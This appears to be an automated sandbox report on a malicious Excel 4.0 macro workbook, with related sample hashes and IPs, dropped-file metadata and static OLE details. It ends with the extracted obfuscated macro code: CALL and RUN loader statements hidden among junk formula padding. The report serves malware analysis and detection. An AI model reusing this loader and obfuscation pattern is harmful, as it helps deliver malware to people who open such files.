	scan of document 5336227.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	check 24994.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59863 bytes, 1 file
Category:	dropped
Size (bytes):	59863
Entropy (8bit):	7.99556910241083
Encrypted:	true
SSDEEP:	1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOqOrdDdJPAX1LHA/
MD5:	15775D95513782F99CDFB17E65DFCEB1
SHA1:	6C11F8BEE799B093F9FF4841E31041B081B23388
SHA-256:	477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBE00
SHA-512:	AC09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCE562C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD1E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........b.........R.i .authroot.stl.qqp.4..CK..8T....c_.d....A.F....m"...AH)-.%.QIR..$t)Kd.-QQ..~.L.2.L........sx.}...~....$....yy.A.8;....\|.%OV.a0xN....9..C..t.z.,X...,..1Qj,.p.E.y..ac`.<.e.c.aZW..B.jy....^]..+)..!...r.X:.O.. ..Y..j.^.8C........n7R....p!\|_.+..<...A.Wt.=. .sV..`.9O...CD./.s.\#.t#..s..Jeiu..B$.....8..(g..tJ....=,...r.d.].xqX4.......g.lF...Mn.y".W.R....K\..P.n._..7...........@pm.. Q....(#.....=.)...1..kC.`......AP8.A..<....7S.L....S...^.R.).hqS...DK.6.j....u_.0.(4g.....!,.L`......h:.a]?......J9.\..Ww........%........4E.......q.QA.0.M<.&.^aD.....,..]....5.....\../ d.F>.V........_.J....."....wI..'..z...j..Ds....Z...[..........N<.d.?<....b..,...n......;....YK.X..0..Z.....?...9.3.+9T.%.l...5.YK.E.V...aD.0...Y../e.7...c..g....A..=.....+..u2..X.~....O....\=...&...U.e...?...z....$.)S..T...r.!?M..;.....r,QH.B <.(t..8s3..u[.N8gL.%...v....f...W.y...cz-.EQ.....c...o..n........D..........2.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.149293041712097
Encrypted:	false
SSDEEP:	6:kKnMpkQSN+SkQlPlEGYRMY9z+4KlDA3RUeSKyzkOt:PMphZkPlE99SNxAhUeSKO
MD5:	A3A9ECED05E688B6DDEC43E5D0601AB8
SHA1:	982C611DE3164758091BF35A02B07D10A120C6D3
SHA-256:	D1C39500E630282EC5B10647DE4E1CA513922679F714AEFE47A5E3107C5AEA34
SHA-512:	FF973D1C0602EBED3F55B9CF8432F8FFA573E2EBF78FD27A968FDAA3CCD5F7742BEF672ED25BF5D3FF411FE7F875F8B634E69F2BFBCC0AE5D0E6BFA75AA873CC
Malicious:	false
Reputation:	low
Preview:	p...... .........O.W.G..(....................................................... ...........Y5......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.f.8.8.3.5.9.3.5.d.7.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	2.9903388590630473
Encrypted:	false
SSDEEP:	3:kkFklSqyMlXfllXlE/jQEBllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1Ffl5n0:kKfzQE1liBAIdQZV7ulPPN
MD5:	DE5DFDD82260B1AB30F886C0860378B2
SHA1:	D8754F4D49DAFECB6E53456725CFD9D3F10C0454
SHA-256:	5E473313114C22B5D8D7FC8D40FFE1BA768EE36C8B8CB3901BFDE86B00BCDAE5
SHA-512:	5E12F3472DF7B2D57A1C6DFBF30059700DF373FEDFCCA96656323BCCE1C4ED3F5441C849457968DCA3485D25CB912135146DF8A693FEBFCDA041BCB28309BA1D
Malicious:	false
Reputation:	low
Preview:	p...... ....`...*.fW.G..(....................................................... .........\|.j-......(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.b.f.8.d.f.8.0.6.2.7.0.0."...

C:\Users\user\AppData\Local\Temp\6ADE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	81246
Entropy (8bit):	7.906484937336381
Encrypted:	false
SSDEEP:	1536:TeKmfTW8SDcn9iZtJOXAQR2KtCbuMB/yDL4D5Kzhl4AiCb/iC:TALW8SD8YZo/Uh0GUzEid
MD5:	B79D9070E6CC72295229D1A40281D4EF
SHA1:	1B429D85318ED5612331776142223F8B1B8479E4
SHA-256:	A9499AFAD6A1323B863087632535346A85C14A392CE222080D9C26B40F5D89C3
SHA-512:	DC735663AA1C00AE4EFA317739EDF5AACB3855DBB7D55F3C3D0A15071D117A6835BF247779DF50C2AA9B2CF383DB1EDCB28C91773C9B08B1C0F2F8EA105EBEDF
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?.&..an.0........%..h!..y...5..D.......J..e....o..$...;h....,>..?m.`Eh.-.S..9G......fV>Z..5v<........+..%p.N..-.?a%.M.n74.s..U?v.e......".Q...H.W+-Ay.l....A(...5M....#.D.!.'5..4....iD..G......B.R....PX.(..s..~..F..z.1..Ki..>.....$9L.5l$..$.X!..ubi..vo..(.$.r..!..&9.~..B<...j.P._.T....^&C.... .Q..J.../......ik.GD7e..H..{.A=&j.....{....5[....s.......}@j.......2..D.1i8..S..H.q..Qg.\|H(P'.y9..........PK..........!..!.9............[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabE486.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59863 bytes, 1 file
Category:	dropped
Size (bytes):	59863
Entropy (8bit):	7.99556910241083
Encrypted:	true
SSDEEP:	1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOqOrdDdJPAX1LHA/
MD5:	15775D95513782F99CDFB17E65DFCEB1
SHA1:	6C11F8BEE799B093F9FF4841E31041B081B23388
SHA-256:	477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBE00
SHA-512:	AC09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCE562C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD1E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........b.........R.i .authroot.stl.qqp.4..CK..8T....c_.d....A.F....m"...AH)-.%.QIR..$t)Kd.-QQ..~.L.2.L........sx.}...~....$....yy.A.8;....\|.%OV.a0xN....9..C..t.z.,X...,..1Qj,.p.E.y..ac`.<.e.c.aZW..B.jy....^]..+)..!...r.X:.O.. ..Y..j.^.8C........n7R....p!\|_.+..<...A.Wt.=. .sV..`.9O...CD./.s.\#.t#..s..Jeiu..B$.....8..(g..tJ....=,...r.d.].xqX4.......g.lF...Mn.y".W.R....K\..P.n._..7...........@pm.. Q....(#.....=.)...1..kC.`......AP8.A..<....7S.L....S...^.R.).hqS...DK.6.j....u_.0.(4g.....!,.L`......h:.a]?......J9.\..Ww........%........4E.......q.QA.0.M<.&.^aD.....,..]....5.....\../ d.F>.V........_.J....."....wI..'..z...j..Ds....Z...[..........N<.d.?<....b..,...n......;....YK.X..0..Z.....?...9.3.+9T.%.l...5.YK.E.V...aD.0...Y../e.7...c..g....A..=.....+..u2..X.~....O....\=...&...U.e...?...z....$.)S..T...r.!?M..;.....r,QH.B <.(t..8s3..u[.N8gL.%...v....f...W.y...cz-.EQ.....c...o..n........D..........2.

C:\Users\user\AppData\Local\Temp\TarE487.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	156386
Entropy (8bit):	6.3086528024913715
Encrypted:	false
SSDEEP:	1536:ZlI6c79JjgCyrYBWsWimp4Ydm6Caku2SWsz0OD8reJgMnl3XlMyGr:ZBUJcCyZfdmoku2SL3kMnBGyA
MD5:	78CABD9F1AFFF17BB91A105CF4702188
SHA1:	52FA8144D1FC5F92DEB45E53F076BCC69F5D8CC7
SHA-256:	C7B6743B228E40B19443E471081A51041974801D325DB4ED8FD73A1A24CBD066
SHA-512:	F0BF5DFBAB47CC6A3D1BF03CEC3FDDA84537DB756DA97E6D93CF08A5C750EABDFBF7FCF7EBDFFF04326617E43F0D767E5A2B7B68C548C6D9C48F36493881F62B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..b....H.........b.0..b....1.0...`.H.e......0..R...+.....7.....R.0..R.0...+.....7........5XY._...210419201239Z0...+......0..R.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\090811fa_by_Libranalysis.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed May 12 22:48:28 2021, mtime=Wed May 12 22:48:41 2021, atime=Wed May 12 22:48:41 2021, length=174080, window=hide
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	4.539803426274995
Encrypted:	false
SSDEEP:	48:86/XT0jhoUkOE+oNqUkOE6oQh26/XT0jhoUkOE+oNqUkOE6oQ/:86/XojOUkFpNqUkF6oQh26/XojOUkFpH
MD5:	6E8491D2499A905365099A8837E9EEEC
SHA1:	E8C9C7568C37CED833C3B96B4CDE78DC65F2104A
SHA-256:	40C9889280F9D606CA4F2D641B667748E9A26CFBFA89AB7CC6103E8861537A3D
SHA-512:	7F09A0499327073E435001D6930B28CB4CE6219D691411CECEB4981454BAFAEDFCB6602A3FDD6A8A1CCF4F26C114B2BF11C513296E8543EAC13E38A0339D3310
Malicious:	false
Preview:	L..................F.... ....Q_N.G....AV.G..KLWV.G...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......R.. .090811~1.XLS..f......R...R.....9&....................0.9.0.8.1.1.f.a._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\715575\Users.user\Desktop\090811fa_by_Libranalysis.xls.3.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.0.9.0.8.1.1.f.a._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 12 22:48:41 2021, atime=Wed May 12 22:48:41 2021, length=16384, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.482030975701104
Encrypted:	false
SSDEEP:	12:85QoFuHLgXg/XAlCPCHaXtB8XzB/tViX+Wnicvb6ObDtZ3YilMMEpxRljKicTdJU:85zo1/XTd6j0YeGCDv3qorNru/
MD5:	52F6C269F431D729D49C19BD112AAC49
SHA1:	F055FAB4BF4EB976333A5B7727B4A378CAD93A5C
SHA-256:	29FFFD5D44E4AE218E6DA12C0BF5665E5CA314B95034128C19A4F3E8310220AD
SHA-512:	954C8528626571305A8569A221FD6742BE1B64550833681A7326E869549A039AAEE26E92CAB61B23B914864BCC28453E9C42AC42C99363C6F9CB454B66514EBF
Malicious:	false
Preview:	L..................F...........7G....AV.G....AV.G...@......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\715575\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......715575..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	125
Entropy (8bit):	4.630728937103838
Encrypted:	false
SSDEEP:	3:oyBVomMNcBo/UwSLMp6l2Ro/UwSLMp6lmMNcBo/UwSLMp6lv:dj6NcysNmCsNbNcysNf
MD5:	CF3C5C35591A2447C1D979B0EDDE9466
SHA1:	431B45F35402FD3128B853F4C30084C881F7AC0D
SHA-256:	13440321B212A4288E328810B16493FD519DD17A33BAB087284704CBE65B4FDA
SHA-512:	272F813ED7B8B9A933337CF02AA4BA869388247B2F62FA13C0117E59C4E27CF259F61FBA4BA3B194E1BEF3B9598F1E31EFDDB374C76FD2F5E033CA11503604DB
Malicious:	false
Preview:	Desktop.LNK=0..[xls]..090811fa_by_Libranalysis.LNK=0..090811fa_by_Libranalysis.LNK=0..[xls]..090811fa_by_Libranalysis.LNK=0..

C:\Users\user\Desktop\3BDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	205059
Entropy (8bit):	5.644313840006967
Encrypted:	false
SSDEEP:	3072:3l8iVBSD8YNoTU90jFoPzn3b0X7vrPlsrXvLNFnLPl8i3f:rVBTrTU9iQ53f
MD5:	8FA65C75ED4F0930AE76F0648B525EEF
SHA1:	67E3FCA753C7BE39A463E7C9C3F153269A9B7E56
SHA-256:	AA8D2D91F70DF9F31C271EC78ADBB1519D567459CE2ED57A8E370C0A6221C6B3
SHA-512:	184CB38961044AFD25FF044562DADDDFD66ADE5E90C0E0A9A101833641FB968AC61B6A3371AA190CAB737AD6B75910434A74C83FCFDB5DC8388A39369D566FBF
Malicious:	false
Preview:	........g2..........................\.p....user B.....a.........=...............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...,...8...........A.r.i.a.l.1.......8...........A.r.i.a.l.1.......8...........A.r.i.a.l.1.......<...........A.r.i.a.l.1.......4...........A.r.i.a.l.1.......4...........A.r.i.a.l.1...h...8...........C.a.m.b.r.i.a.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1.......>...........A.r.i.a.l.1.......?...........A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...............

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: van-van, Last Saved By: vi-vi, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed May 12 08:24:11 2021, Security: 0
Entropy (8bit):	3.258986427712615
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	090811fa_by_Libranalysis.xls
File size:	375808
MD5:	090811fa4bbb26277eebc82843f3d70e
SHA1:	135d07236adba8e6441c72df1b7f2c459505583c
SHA256:	11dad18ad216bbbf97891c947ef3b70acd0c5a9a0ce80a9f5c4bcaecd7275164
SHA512:	469ec22e3b2e86bdc5f6d32e3e299ee69f0d12620c0f7486361f19258e7900b3892c8a5d2b1257bdd0188cbe5f9bae7e489dd3f4f17cd5cd81b69abdfa7738d0
SSDEEP:	3072:Q8UGHv2tt/BI/s/C/i/R/7/3/UQ/OhP/2/a/1/I/T/tbHm7H9G4l+s2k3zN4sbcN:vUGAt6Uqa5DPdG9uS9QLp4l+s+Y8
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "090811fa_by_Libranalysis.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:	van-van
Last Saved By:	vi-vi
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-05-12 07:24:11
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.287037498961
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c 1 . . . . . D o c 2 . . . . . D o c 3 . . . . . D o c 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c e l 4 . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b4 00 00 00 05 00 00 00 01 00 00 00 30 00 00 00 0b 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 0c 00 00 00 74 00 00 00 02 00 00 00 e3 04 00 00 0b 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 1e 10 00 00 04 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.290777742057
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v a n - v a n . . . . . . . . . v i - v i . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . . . . F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363283

General
Stream Path:	Book
File Type:	Applesoft BASIC program data, first line number 8
Stream Size:	363283
Entropy:	3.24522262131
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . 7 . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . v i - v i B . . . . . . . . . . . . . . . . . . . . . . . D o c 3 . . . . . . . . . . . . . . . . . . _ x l f n . A G G R E G A T E . . . . . . . . . . . . . . . . . . . . _ x l f n . F . I N V . R T . . . . ! . . . . .
Data Raw:	09 08 08 00 00 05 05 00 17 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 c0 00 00 00 e2 00 00 00 5c 00 70 00 05 76 69 2d 76 69 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&"1",0,!AL21)=RUN(Doc4!AM6)

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ39&BA39&before.3.5.0.sheet!BB39&before.3.5.0.sheet!BC39,before.3.5.0.sheet!AU13)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ40&BA40&before.3.5.0.sheet!BB40&before.3.5.0.sheet!BC40,before.3.5.0.sheet!AU14)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",,,,,,,,